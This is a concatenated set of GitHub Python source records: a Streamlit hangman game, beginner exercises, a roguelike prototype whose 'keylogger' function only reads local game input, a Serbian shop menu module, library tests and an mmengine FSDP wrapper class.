f\"<h1 style='text-align: center; color: red;'>{word}</h1>\", unsafe_allow_html=True)\r\n    return word\r\n\r\n\r\n\r\nu = st.empty()\r\ncol = st.columns(5)\r\n\r\nwith col[0]:\r\n    t1 = st.container()\r\n\r\nwith col[1]:\r\n    t2 = st.container()\r\n\r\nwith col[2]:\r\n    t3 = st.container()\r\n\r\nwith col[3]:\r\n    t4 = st.container()\r\n\r\nwith col[4]:\r\n    t5 = st.empty()\r\n\r\n\r\n\r\n\r\nword = \"_ \" * len(text) \r\nlimit = 0 \r\ncount = 1\r\nletters = ['', '', '', '', '', '','','','','','','','','','']\r\n\r\nu.markdown( f\"<h1 style='text-align: center; color: red;'>{word}</h1>\", unsafe_allow_html=True)\r\n\r\nlimit = len(text) + 4\r\n\r\nt5.image('hangman_pics/pic1.jpeg')\r\n\r\nletters[0] = t1.text_input(f\"Enter a letter:\", max_chars = 1, key = 1 )\r\n\r\n\r\n\r\nif letters[0]:\r\n    count += 1\r\n    word = update(letters[0], word, text)\r\n    win_check(letters[0], text)\r\n\r\n    letters[1] = t2.text_input(f\"Enter a letter:\", max_chars = 1, key = 2 )\r\n\r\n    if letters[1]:\r\n        count += 1\r\n        word = update(letters[1], word, text)\r\n        win_check(letters[1], text)\r\n\r\n        letters[2] = t3.text_input(f\"Enter a letter:\", max_chars = 1, key = 3 )\r\n\r\n        if letters[2]:\r\n            count += 1\r\n            word = update(letters[2], word, text)\r\n            win_check(letters[2], text)\r\n\r\n            letters[3] = t4.text_input(f\"Enter a letter:\", max_chars = 1, key = 4 )     \r\n            \r\n            if letters[3] and (win != len(text)):\r\n                count += 1\r\n                word = update(letters[3], word, text)\r\n                win_check(letters[3], text)\r\n\r\n                letters[4] = t1.text_input(f\"Enter a letter:\", max_chars = 1, key = 5 )\r\n                \r\n                if letters[4]  and (lose != 4) and (win != len(text)):\r\n                    count += 1\r\n                    word = update(letters[4], word, text)\r\n                    win_check(letters[4], text)\r\n\r\n                    letters[5] = t2.text_input(f\"Enter a letter:\", max_chars = 1, key = 6 )\r\n\r\n                    if letters[5]  and lose != 4 and (win != len(text)):\r\n                        count += 1\r\n                        word = update(letters[5], word, text)\r\n                        win_check(letters[5], text)\r\n\r\n                        letters[6] = t3.text_input(f\"Enter a letter:\", max_chars = 1, key = 7 )\r\n                        \r\n                        if letters[6] and count != limit  and lose != 4 and (win != len(text)):\r\n                            count += 1\r\n                            word = update(letters[6], word, text)\r\n                            win_check(letters[6], text)\r\n\r\n                            letters[7] = t4.text_input(f\"Enter a letter:\", max_chars = 1, key = 8 )\r\n\r\n                            if letters[7] and count != limit  and lose != 4 and (win != len(text)):\r\n                                count += 1\r\n                                word = update(letters[7], word, text)\r\n                                win_check(letters[7], text)\r\n\r\n                                letters[8] = t2.text_input(f\"Enter a letter:\", max_chars = 1, key = 9 )\r\n                                \r\n                                if letters[8] and count != limit  and lose != 4 and (win != len(text)):\r\n                                    count += 1\r\n                                    word = update(letters[8], word, text)\r\n                                    win_check(letters[8], text) \r\n                                        \r\n                                    letters[9] = t3.text_input(f\"Enter a letter:\", max_chars = 1, key = 10 )\r\n                                \r\n                                    if letters[9] and count != limit  and lose != 4 and (win != len(text)):\r\n                                        word = update(letters[9], word, text)\r\n                                        win_check(letters[9], text)\r\n\r\n                                    \r\n\r\nif lose == 1:\r\n    t5.image('hangman_pics/pic2.jpeg')\r\nelif lose == 2:\r\n    t5.image('hangman_pics/pic3.jpeg')\r\nelif lose == 3:\r\n    t5.image('hangman_pics/pic4.jpeg')\r\nelif lose == 4:\r\n    t5.image('hangman_pics/pic5.jpeg')\r\n    st.info(\"You have been Hanged\")\r\n","repo_name":"navin772/py_han","sub_path":"hangman.py","file_name":"hangman.py","file_ext":"py","file_size_in_byte":5202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"30501873021","text":"hrs = input(\"Enter Hours: \")\r\nrte = input(\"Enter Rate: \")\r\nfh = float(hrs)\r\nfr = float(rte)\r\n\r\nif fh > 40 :\r\n    print(\"Overtime\")\r\n    reg = fr * fh\r\n    otp = (fh - 40.0) * (fr * 0.5)\r\n    py = reg + otp\r\n    print(\"Pay:\",py)\r\nelse:\r\n    print(\"Regular\")\r\n    py = fh * fr\r\n    print(\"Pay:\",py)","repo_name":"balaganj/Python-for-everybody","sub_path":"Exercise 1_Conditional.py","file_name":"Exercise 1_Conditional.py","file_ext":"py","file_size_in_byte":296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"45092637466","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Mar 25 19:12:52 2018\r\n\r\n@author: Lewis\r\n\"\"\"\r\nimport math\r\nfrom qc_simulator.qc import *\r\n\r\nH = Hadamard()\r\nreg = QuantumRegister()\r\nN = Not()\r\nP = PhaseShift(math.pi/2)\r\n\r\n\r\nreg.plot_bloch()\r\nregH = H*reg\r\nregP = P*regH\r\nregH.plot_bloch()\r\nregP.plot_bloch()\r\nprint(\"not\")\r\n(N*reg).plot_bloch()","repo_name":"h-rathee851/Quantum-Computing-Project","sub_path":"QCP-example/Examples/BlochPlots.py","file_name":"BlochPlots.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"31654651004","text":"import os\n\nimport pytest\nimport torch\nimport torchio as tio\n\nfrom medical_shape.shape import Shape\nfrom medical_shape.subject import ShapeSupportSubject\nfrom medical_shape.transforms import Resample, ToCanonical\n\n\ndef clear_warning_caches():\n    from medical_shape.subject import _warning_cache as cache_subject\n    from medical_shape.transforms.mixin import _warning_cache as cache_transform\n\n    cache_subject.clear()\n    cache_transform.clear()\n\n\ndef save(subject: ShapeSupportSubject, path, shape_extension: str):\n    for k, v in subject.items():\n        if isinstance(v, Shape):\n            v.save(os.path.join(path, f\"{k}{shape_extension}\"))\n        elif isinstance(v, tio.data.Image):\n            v.save(os.path.join(path, f\"{k}.nii.gz\"))\n\n\ndef create_subject():\n    torch.manual_seed(42)\n    random_image = torch.rand(1, 160, 384, 384)\n    random_shape = torch.stack([torch.randint(0, s, (200,)) for s in random_image.shape[1:]], -1)\n    subject = ShapeSupportSubject(\n        s=Shape(tensor=random_shape),\n        i=tio.data.ScalarImage(tensor=random_image),\n    )\n    return subject\n\n\n@pytest.mark.parametrize(\n    \"shape_extension\",\n    [\n        \".pts\",\n        \".mjson\",\n    ],\n)\ndef test_io(tmpdir, shape_extension):\n    subject = create_subject()\n    save(subject, tmpdir, shape_extension)\n    Shape(os.path.join(tmpdir, f\"s{shape_extension}\"))\n\n\n@pytest.mark.parametrize(\n    \"trafo\",\n    [\n        tio.transforms.CopyAffine(\"i\", parse_input=False),\n        ToCanonical(),\n        Resample([2, 1, 1], parse_input=False),\n    ],\n)\ndef test_transforms(trafo):\n    subject = create_subject()\n    transformed_subject = trafo(subject)\n    assert isinstance(transformed_subject, ShapeSupportSubject)\n\n    transformed_subject = trafo(subject.get_images_only_subject())\n    assert not isinstance(transformed_subject, ShapeSupportSubject) and isinstance(\n        transformed_subject, tio.data.Subject\n    )\n","repo_name":"justusschock/medical-shape","sub_path":"tests/test_basics.py","file_name":"test_basics.py","file_ext":"py","file_size_in_byte":1914,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"43390373184","text":"import sys\nimport math\nimport argparse \nfrom hex_utils.asc import ASC\nfrom hex_utils.parserSurface import setBasicArguments\n\n\ndef getArguments():\n\n\tparser = argparse.ArgumentParser(description='Convert continuous surface into ESRI ASCII raster.')\n\tparser = setBasicArguments(parser)\n\tparser.add_argument(\"-s\", \"--size\", dest=\"size\", default = 1,\n\t\t\t\t\t\ttype=float, help=\"cell size (width and height)\" )\n\treturn parser.parse_args()\n\n\n# ----- Main ----- #\ndef main():\n\t\n\targs = getArguments()\n\t\n\tgrid = ASC()\n\tgrid.init(\t\n\t\tmath.trunc((args.xmax - args.xmin) / args.size), \n\t\tmath.trunc((args.ymax - args.ymin) / args.size), \n\t\targs.xmin,\n\t\targs.ymin,\n\t\targs.size, \"\")\n\t\n\targs.xmin += args.size / 2\n\targs.ymin += args.size / 2\n\t\n\t# Dynamically import surface function\n\tmodule = __import__(args.module, globals(), locals(), [args.function])\n\tfunction = getattr(module, args.function)\n\t\n\tfor i in range(grid.ncols):\n\t\tfor j in range(grid.nrows):\n\t\t\tgrid.set(i, grid.nrows - j - 1, \n\t\t\t\tfunction(args.xmin + i * args.size, args.ymin + j * args.size))\n\t\n\ttry:\t\n\t\tgrid.save(args.output)\n\texcept IOError as ex:\n\t\tprint(\"Error saving the raster %s: %s\" % (args.output, ex))\n\t\tsys.exit()\n\n\tprint(\"Created new ASCII grid successfully\")\n\t\nmain()","repo_name":"arkanoid87/hex-utils","sub_path":"hex_utils/surface2asc.py","file_name":"surface2asc.py","file_ext":"py","file_size_in_byte":1232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"35"}
{"seq_id":"11943417850","text":"# coloring\nimport colorama\nimport util\n\na = colorama.Fore.CYAN + \"Q\" + colorama.Style.RESET_ALL\nprint({a})\n\n\ndef get_keypress():\n    key = \"\"\n    while key != 'q':\n        key = util.key_pressed()\n        print(key)\n        print({key})\n# get_keypress()\n\n\n# board size\ndef print_board(width=30, height=20):\n    board = []\n    for i in range(height):\n        row = []\n        for i in range(width):\n            row.append(\"X\")\n        board.append(row)\n    for row in board:\n        print(' '.join(row))\n\n\nprint_board()\n\n# teli karakter: █\n\n\"\"\"board number legacy:\n0 = space, where you walk\n1 = border color\n2 = entry door\n3 = exit door\n4 = player\n5 = coin\n\"\"\"\n\n\n\nimport time\nimport keyboard\ndef keypresses():\n    while True:  # making a loop\n        try:  # used try so that if user pressed other than the given key error will not be shown\n            if keyboard.read_key() == \"w\":  # if key 'q' is pressed \n                keylog.append(\"w\")\n                return \"w\"\n            if keyboard.is_pressed('a'):  # if key 'a' is pressed \n                return \"a\"\n            if keyboard.is_pressed('s'):  # if key 's' is pressed \n                keylog.append(\"s\")\n                return \"s\"\n            if keyboard.is_pressed('d'):  # if key 'd' is pressed \n                return \"d\"\n        except:\n            break  # if user pressed a key other than the given key the loop will break\n\n\n\nimport threading\ndef keylogger(keylog, time_counter):\n    while True:\n        key = None\n        key = getch.getch()\n        if key != None:\n            keylog.append(key)\n        time.sleep(0.05)\n        time_counter += 0.05\n\n\ndef main_thread(keylog, time_counter):\n    while True:\n        if time_counter % 1 == 0:\n            print(\"Move the enemies\")\n        \n\n    \nimport getch\nif __name__ == \"__main__\":\n    keylog = []\n    time_counter = 0\n    t1 = threading.Thread(target=keylogger, args=(keylog, time_counter))\n    t2 = threading.Thread(target=main_thread, args=(keylog,time_counter))\n\n    t1.start()\n    t2.start()\n\n\n\n\n\n    ","repo_name":"CodecoolGlobal/roguelike-game-python-rebekajakob","sub_path":"testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":2031,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"17596816030","text":"# -*- coding: utf-8 -*-\nimport zajednickeFunkcionalnosti as zf\nimport pocetak\nfrom colorama import Back \nimport baza\n\n\ndef test1():\n    print(Back.GREEN + \"Ulogovani ste kao korisnik\")\n    print(Back.RESET)\n    \ndef korisnik_menu(ulogovani):\n    global korisnik\n    korisnik = ulogovani\n    print(Back.BLUE + \"\\n{}ODABERITE OPCIJU{}\".format(\">\"*5, \"<\"*5))\n    print(Back.RESET)\n    print(\"\\n1) Prikaz svih kategorija\")\n    print(\"\\n2) Pretraga proizvoda po kategoriji\")\n    print(\"\\n3) Prikaz proizvoda sortiranih po ceni\")\n    print(\"\\n4) Prikaz proizvoda na akciji\")\n    print(\"\\n5) Narucivanje proizvoda\")\n    print(\"\\n6) Prikaz narucenih proizvoda\")\n    print(\"\\n7) Dodavanje komentara\")\n    print(\"\\n8) Prikaz proizvoda u nekom opsegu cena\")\n    print(\"\\n9) Odjava\")\n    print(\"\\n10) Zavrsi sa radom\")\n    izbor_opcije()\n\ndef izbor_opcije():\n    global korisnik\n    try:\n        opcija = eval(input(\"Unesite zeljenu opciju: \"))\n    except:\n        opcija = 11\n    \n    if opcija == 1:\n        zf.sve_kategorije()\n    elif opcija == 2:\n        zf.pretraga_proizvoda_po_kategoriji()\n    elif opcija == 3:\n        proizvodi_sortirani_po_ceni()\n    elif opcija == 4:\n        prikaz_proizvoda_na_akciji()\n    elif opcija == 5:\n        narucivanje_proizvoda()\n    elif opcija == 6:\n        prikaz_narudzbina()\n    elif opcija == 7:\n        dodavanje_komentara()\n    elif opcija == 8:\n        prikaz_proizvoda_u_opsegu_cena()\n    elif opcija == 9:\n        zf.odjava()\n    elif opcija == 10:\n        pocetak.end()\n    else:\n        print(Back.RED + \"Uneli ste pogresnu opciju. Molimo pokusajte ponovo\")\n        print(Back.RESET)\n        korisnik_menu(korisnik)\n\ndef proizvodi_sortirani_po_ceni():\n      global korisnik\n      print(Back.BLUE + \"Prikaz proizvoda sortiranih po ceni: \")\n      print(Back.RESET)\n      print(\"RBR  | {0:<10} | {1:<10} | {2:<48} | {3:<5} | \".format(\"Naziv\", \"Cena\", \"Opis\", \"Akcija\"))\n      print(\"-\"*92)\n      rbr = 0\n      proizvodi = baza.svi_proizvodi()\n      proizvodi.sort(key = lambda x: x[2])\n      if proizvodi:\n          for p in proizvodi:\n               rbr += 1\n               print(\"{4:5}|{0:^12}|{1:^12}|{2:^50}|{3:^8}|\".format(p[1], p[2], p[3], p[4],rbr))\n               print(\"-\"*92)\n      try:\n        nazad = eval(input(\"Unesite 0 za povratak: \"))\n      except:\n        nazad = 2\n    \n      if nazad == 0:\n        korisnik_menu(korisnik)\n      else:\n        print(Back.RED + \"Pogresno ste uneli opciju\")\n        print(Back.RESET)\n        proizvodi_sortirani_po_ceni()\n        \ndef prikaz_proizvoda_na_akciji():\n    global korisnik\n    print(Back.BLUE + \"Prikaz proizvodana akciji: \")\n    print(Back.RESET)\n    print(\"RBR  | {0:<9} | {1:<10}\".format(\"Naziv\", \"Cena\"))\n    print('-'*30)\n    rbr = 0\n    proizvodi = baza.svi_proizvodi()\n    for p in proizvodi:\n        if(p[4] == 1):\n            rbr += 1\n            print(\"{0:5}|{1:^11}|{2:^12}\".format(rbr, p[1], p[2]))\n            print(\"-\"*30)\n    \n    try:\n        nazad = eval(input(\"Unesite 0 za povratak: \"))\n    except:\n        nazad = 2\n    \n    if nazad == 0:\n        korisnik_menu(korisnik)\n    else:\n        print(Back.RED + \"Pogresno ste uneli opciju\")\n        print(Back.RESET)\n        prikaz_proizvoda_na_akciji()\n        \ndef narucivanje_proizvoda():\n    global korisnik\n    proizvodi = baza.svi_proizvodi()\n    \n    print(Back.BLUE + \"Proizvodi: \\n\")\n    print(Back.RESET)\n    \n    print(\"{0:<5} | {1:<10} | {2:<10} | {3:<48}\".format(\"Id\", \"Naziv\", \"Cena\", \"Opis\"))\n    \n    for p in proizvodi:\n        print('='*85)\n        print('{:^6}| {:<10} | {:<10} | {:^48}'.format(p[0], p[1], p[2], p[3]))\n        \n    try:\n        id_proizvoda = eval(input(\"Unesite id proizvoda koji zelite da porucite: \"))\n    except:\n        id_proizvoda = 0\n\n    \n    try:\n        baza.narucivanje_proizvoda(id_proizvoda,korisnik[0], postarina = 300)\n        print(Back.GREEN + \"Uspesno ste porucili proizvod!\")\n        print(Back.RESET)\n    except:\n        print(Back.RED + \"Nesto nije u redu.Pokusajte ponovo!\")\n        print(Back.RESET)\n        narucivanje_proizvoda()\n    \n    try:\n        nazad = eval(input(\"Unesite 0 za povratak: \"))\n    except:\n        nazad\n    \n    while not nazad == 0:\n        print(Back.RED + \"Pogresno ste uneli opciju\")\n        print(Back.RESET)\n        nazad = eval(input(\"Unesite 0 za povratak: \"))\n        \n    korisnik_menu(korisnik)\n    \ndef prikaz_narudzbina():\n    global korisnik\n    narucene = baza.narucene(korisnik[0])\n    if narucene:\n        suma_proizvoda = 0\n        rbr = 0\n        print(\"\\nVasa narudzbina: \")\n        for p in narucene:\n            proizvod = baza.nadji_proizvod(p[4])\n            if proizvod:\n                rbr+=1\n                print(\"{:^8}|{:<15}|{}\".format(rbr,proizvod[1], proizvod[2]))\n                print('-'*40)\n                suma_proizvoda += proizvod[2]\n        print(\"{}{}\".format(\"Ukupan iznos svih narucenih proizvoda: \", suma_proizvoda))\n    \n    else:\n        print(Back.RED + \"Niste nista narucili!\")\n        print(Back.RESET)        \n  \n    try:\n        nazad = eval(input(\"Unesite 0 za povratak: \"))\n    except:\n        nazad = 2\n    \n    if nazad == 0:\n        korisnik_menu(korisnik)\n    else:\n        print(Back.RED + \"Pogresno ste uneli opciju\")\n        print(Back.RESET)\n        prikaz_narudzbina()    \n            \ndef dodavanje_komentara():\n    global korisnik\n    proizvodi = baza.svi_proizvodi()\n    \n    print(Back.BLUE + \"Proizvodi: \\n\")\n    print(Back.RESET)\n    \n    print(\"{0:<5} | {1:<10} | {2:<10} | {3:<48}\".format(\"Id\", \"Naziv\", \"Cena\", \"Opis\"))\n    \n    for p in proizvodi:\n        print('='*85)\n        print('{:^6}| {:<10} | {:<10} | {:^48}'.format(p[0], p[1], p[2], p[3]))\n        \n    try:\n        id_proizvoda = eval(input(\"Unesite id proizvoda za koji zelite da dodate komentar: \"))\n    except:\n        id_proizvoda = 0\n    \n    \n    tekst = input(\"Unesite komentar: \")\n    try:\n        baza.dodavanje_komentara(korisnik[0], id_proizvoda, tekst)\n        print(Back.GREEN + \"Uspesno ste uneli komentar!\")\n        print(Back.RESET)\n    except:\n        print(Back.RED + \"Nesto nije u redu.Pokusajte ponovo!\")\n        print(Back.RESET)\n        dodavanje_komentara()\n    \n    try:\n        nazad = eval(input(\"Unesite 0 za povratak: \"))\n    except:\n        nazad\n    \n    while not nazad == 0:\n        print(Back.RED + \"Pogresno ste uneli opciju\")\n        print(Back.RESET)\n        nazad = eval(input(\"Unesite 0 za povratak: \"))\n        \n    korisnik_menu(korisnik)\n\n\ndef prikaz_proizvoda_u_opsegu_cena():\n      minCena = eval(input(\"Unesite minimalnu cenu proizvoda: \"))\n      maxCena = eval(input(\"Unesite maksimalnu cenu proizvoda: \"))\n      print(Back.BLUE + \"\\nPrikaz proizvoda u opsegu cena: \")\n      print(Back.RESET)\n      print(\"RBR  | {0:<10} | {1:<10} | {2:<48} | {3:<5} | \".format(\"Naziv\", \"Cena\", \"Opis\", \"Akcija\"))\n      print(\"-\"*92)\n      rbr = 0\n      proizvodi = baza.svi_proizvodi()\n      proizvodi = (filter(lambda x: x[2]>=minCena and x[2]<=maxCena, proizvodi))\n      if proizvodi:\n          for p in proizvodi:\n               rbr += 1\n               print(\"{4:5}|{0:^12}|{1:^12}|{2:^50}|{3:^8}|\".format(p[1], p[2], p[3], p[4],rbr))\n               print(\"-\"*92)\n      try:\n        nazad = eval(input(\"Unesite 0 za povratak: \"))\n      except:\n        nazad = 2\n    \n      if nazad == 0:\n        korisnik_menu(korisnik)\n      else:\n        print(Back.RED + \"Pogresno ste uneli opciju\")\n        print(Back.RESET)\n        prikaz_proizvoda_u_opsegu_cena()","repo_name":"trajkovicsj/Python-Projekat","sub_path":"Projekat/korisnik.py","file_name":"korisnik.py","file_ext":"py","file_size_in_byte":7468,"program_lang":"python","lang":"hr","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"72156824422","text":"from typing import Callable, Dict, List, Optional, Union\n\nimport torch\nimport torch.nn as nn\nfrom torch.distributed import ProcessGroup\nfrom torch.distributed.fsdp.fully_sharded_data_parallel import (\n    BackwardPrefetch, CPUOffload, FullyShardedDataParallel)\n\nfrom mmengine.optim import OptimWrapper\nfrom mmengine.registry import MODEL_WRAPPERS, Registry\nfrom mmengine.structures import BaseDataElement\n\n# support customize fsdp policy\nFSDP_WRAP_POLICIES = Registry('fsdp wrap policy')\n\n\n@MODEL_WRAPPERS.register_module()\nclass MMFullyShardedDataParallel(FullyShardedDataParallel):\n    \"\"\"A wrapper for sharding Module parameters across data parallel workers.\n\n    Different from FullyShardedDataParallel, MMFullyShardedDataParallel\n    implements three methods :meth:`train_step`, :meth:`val_step` and\n    :meth:`test_step`, which will be called by ``train_loop``, ``val_loop``\n    and ``test_loop``.\n\n    - ``train_step``: Called by ``runner.train_loop``, and implement\n      default model forward, gradient back propagation, parameter updating\n      logic.\n\n    - ``val_step``: Called by ``runner.val_loop`` and get the inference\n      results. Specially, since MMFullyShardedDataParallel will wrap model\n      recursively, it may cause some problem if one just use\n      ``BaseModel.val_step`` to implement ``val_step`` here. To avoid that,\n      ``val_step`` will call methods of :obj:`BaseModel` to pre-process\n      data first, and use ``FullyShardedDataParallel.forward`` to get result.\n\n    - ``test_step``: Called by ``runner.test_loop`` and get the inference\n      results. Its logic is equivalent to ``val_loop``.\n\n    Args:\n        module (nn.Module): module to be wrapped with FSDP.\n        process_group (Optional[ProcessGroup]): process group for sharding.\n        cpu_offload (Optional[Union[bool,CPUOffload]]):\n            CPU offloading config.\n            Different from FullyShardedDataParallel,Since it can be set by\n            users' pre-defined config in MMEngine,its type is expected to be\n            `None`, `bool` or `CPUOffload`.\n\n            Currently, only parameter and gradient CPU offload is supported.\n            It can be enabled via passing in\n            ``cpu_offload=CPUOffload(offload_params=True)``. Note that this\n            currently implicitly enables gradient offloading to CPU in order\n            for params and grads to be on same device to work with optimizer.\n            This API is subject to change. Default is ``None`` in which case\n            there will be no offloading.\n        fsdp_auto_wrap_policy: (Optional[Union[str,Callable]]):\n            Specifying a policy to recursively wrap layers with FSDP.\n            Different from FullyShardedDataParallel, Since it can be set by\n            users' pre-defined config in MMEngine, its type is expected to be\n            `None`, `str` or `Callable`. If it's `str`, then\n            MMFullyShardedDataParallel will try to get specified method in\n            ``FSDP_WRAP_POLICIES`` registry,and this method will be passed to\n            FullyShardedDataParallel to finally initialize model.\n\n            Note that this policy currently will only apply to child modules of\n            the passed in module. The remainder modules are always wrapped in\n            the returned FSDP root instance.\n            ``default_auto_wrap_policy`` written in\n            ``torch.distributed.fsdp.wrap`` is an example of\n            ``fsdp_auto_wrap_policy`` callable, this policy wraps layers with\n            parameter sizes larger than 100M. Users can supply the customized\n            ``fsdp_auto_wrap_policy`` callable that should accept following\n            arguments: ``module: nn.Module``, ``recurse: bool``,\n            ``unwrapped_params: int``, extra customized arguments could be\n            added to the customized ``fsdp_auto_wrap_policy`` callable as well.\n\n            Example::\n\n                >>> def custom_auto_wrap_policy(\n                >>>     module: nn.Module,\n                >>>     recurse: bool,\n                >>>     unwrapped_params: int,\n                >>>     # These are customizable for this policy function.\n                >>>     min_num_params: int = int(1e8),\n                >>> ) -> bool:\n                >>>     return unwrapped_params >= min_num_params\n\n        backward_prefetch: (Optional[Union[str,BackwardPrefetch]]):\n            Different from FullyShardedDataParallel, Since it will be set by\n            users' pre-defined config in MMEngine,its type is expected to be\n            `None`, `str` or `BackwardPrefetch`.\n\n            This is an experimental feature that is subject to change in the\n            the near future. It allows users to enable two different\n            backward_prefetch algorithms to help backward communication and\n            computation overlapping.\n            Pros and cons of each algorithm is explained in class\n            ``BackwardPrefetch``.\n\n        **kwargs: Keyword arguments passed to\n            :class:`FullyShardedDataParallel`.\n    \"\"\"\n\n    def __init__(\n        self,\n        module: nn.Module,\n        process_group: Optional[ProcessGroup] = None,\n        cpu_offload: Optional[Union[bool, CPUOffload]] = None,\n        fsdp_auto_wrap_policy: Optional[Union[str, Callable]] = None,\n        backward_prefetch: Optional[Union[str, BackwardPrefetch]] = None,\n        **kwargs,\n    ):\n\n        if cpu_offload is not None:\n            if isinstance(cpu_offload, bool):\n                cpu_offload = CPUOffload(offload_params=cpu_offload)\n            elif not isinstance(cpu_offload, CPUOffload):\n                raise TypeError(\n                    '`cpu_offload` should be `None`, `bool`'\n                    f'or `CPUOffload`, but has type {type(cpu_offload)}')\n\n        if fsdp_auto_wrap_policy is not None:\n            if isinstance(fsdp_auto_wrap_policy, str):\n                assert fsdp_auto_wrap_policy in FSDP_WRAP_POLICIES, \\\n                    '`FSDP_WRAP_POLICIES` has no ' \\\n                    f'function {fsdp_auto_wrap_policy}'\n                fsdp_auto_wrap_policy = FSDP_WRAP_POLICIES.get(  # type: ignore\n                    fsdp_auto_wrap_policy)\n                if not isinstance(fsdp_auto_wrap_policy,\n                                  Callable):  # type: ignore\n                    raise TypeError(\n                        'Registered `fsdp_auto_wrap_policy` needs to be '\n                        '`Callable`, but has type '\n                        f'{type(fsdp_auto_wrap_policy)}')\n            elif not isinstance(fsdp_auto_wrap_policy,\n                                Callable):  # type: ignore\n                raise TypeError(\n                    '`fsdp_auto_wrap_policy` should be `None`, `str` '\n                    'or `Callable`, but has type '\n                    f'{type(fsdp_auto_wrap_policy)}')\n\n        if backward_prefetch is not None:\n            if isinstance(backward_prefetch, str):\n                assert backward_prefetch in ['pre', 'post'], \\\n                    '`backward_prefetch` should be either `pre` or `post`,' \\\n                    f' but get {backward_prefetch}'\n                if backward_prefetch == 'pre':\n                    backward_prefetch = BackwardPrefetch.BACKWARD_PRE\n                else:\n                    backward_prefetch = BackwardPrefetch.BACKWARD_POST\n            elif not isinstance(backward_prefetch, BackwardPrefetch):\n                raise TypeError('`backward_prefetch` should be `None`, `str` '\n                                'or `BackwardPrefetch`, but has type '\n                                f'{type(backward_prefetch)}')\n\n        super().__init__(\n            module=module,\n            process_group=process_group,\n            auto_wrap_policy=fsdp_auto_wrap_policy,\n            cpu_offload=cpu_offload,\n            backward_prefetch=backward_prefetch,\n            **kwargs)\n\n    def train_step(self, data: dict,\n                   optim_wrapper: OptimWrapper) -> Dict[str, torch.Tensor]:\n        \"\"\"Interface for model forward, backward and parameters updating during\n        training process.\n\n        :meth:`train_step` will perform the following steps in order:\n\n        - If :attr:`module` defines the preprocess method,\n            call ``module.preprocess`` to pre-processing data.\n        - Call ``module.forward(**data)`` and get losses.\n        - Parse losses.\n        - Call ``optim_wrapper.optimizer_step`` to update parameters.\n        - Return log messages of losses.\n\n        Args:\n            data (dict): Data sampled by dataloader.\n            optim_wrapper (OptimWrapper): A wrapper of optimizer to\n                update parameters.\n\n        Returns:\n            Dict[str, torch.Tensor]: A ``dict`` of tensor for logging.\n        \"\"\"\n        # enable automatic mixed precision training context.\n        with optim_wrapper.optim_context(self):\n            data = self.module.data_preprocessor(data, training=True)\n            if isinstance(data, dict):\n                losses = self(**data, mode='loss')\n            elif isinstance(data, (list, tuple)):\n                losses = self(*data, mode='loss')\n            else:\n                raise TypeError('Output of `data_preprocessor` should be '\n                                f'list tuple or dict, but got {type(data)}')\n        parsed_loss, log_vars = self.module.parse_losses(losses)\n        optim_wrapper.update_params(parsed_loss)\n        return log_vars\n\n    def val_step(self, data: dict) -> List[BaseDataElement]:\n        \"\"\"Gets the prediction of module during validation process.\n\n        Args:\n            data (dict): Data sampled by dataloader.\n\n        Returns:\n            List[BaseDataElement] or dict: The predictions of given data.\n        \"\"\"\n        inputs, data_sample = self.module.data_preprocessor(data, False)\n        return self(inputs, data_sample, mode='predict')\n\n    def test_step(self, data: dict) -> List[BaseDataElement]:\n        \"\"\"Gets the predictions of module during testing process.\n\n        Args:\n            data (dict): Data sampled by dataloader.\n\n        Returns:\n            List[BaseDataElement]: The predictions of given data.\n        \"\"\"\n        inputs, data_sample = self.module.data_preprocessor(data, False)\n        return self(inputs, data_sample, mode='predict')\n","repo_name":"thb1314/mmyolo_tensorrt","sub_path":"mmengine/mmengine/model/wrappers/fully_sharded_distributed.py","file_name":"fully_sharded_distributed.py","file_ext":"py","file_size_in_byte":10270,"program_lang":"python","lang":"en","doc_type":"code","stars":50,"dataset":"github-code","pt":"35"}
{"seq_id":"11742835222","text":"class Student:\n    def __init__(self, name, age, grade):\n        self.name = name\n        self.age = age\n        self.grade = grade  # 0 - 100\n\n    def get_grade(self):\n        return self.grade\n\n\n\nclass Course:\n    def __init__(self, name, max_students):\n        self.name = name\n        self.max_students = max_students\n        self.students = []\n\n    def add_student(self, student):\n        if len(self.students) < self.max_students:\n            self.students.append(student)\n            return True\n        print (\"Maximum number of student exceeded!!\")\n\n    def get_average_grade(self):\n        value = 0\n        for student in self.students:\n            value += student.get_grade()  # or student.grade\n\n        return value / len(self.students)\n\n\n\nCurry = Student(\"Steph Curry\", 19, 95)\nKlay = Student(\"Klay Thompson\", 19, 75)\nPoole = Student(\"Jordan Poole\", 19, 65)\n        \ncourse = Course(\"Science\", 2)\ncourse.add_student(Curry)\ncourse.add_student(Klay)\ncourse.add_student(Poole)\n\nprint(\"Average Grade is \")\nprint(course.get_average_grade())\n\n","repo_name":"atubak400/Wallet","sub_path":"OOP_Python/practice2.py","file_name":"practice2.py","file_ext":"py","file_size_in_byte":1053,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
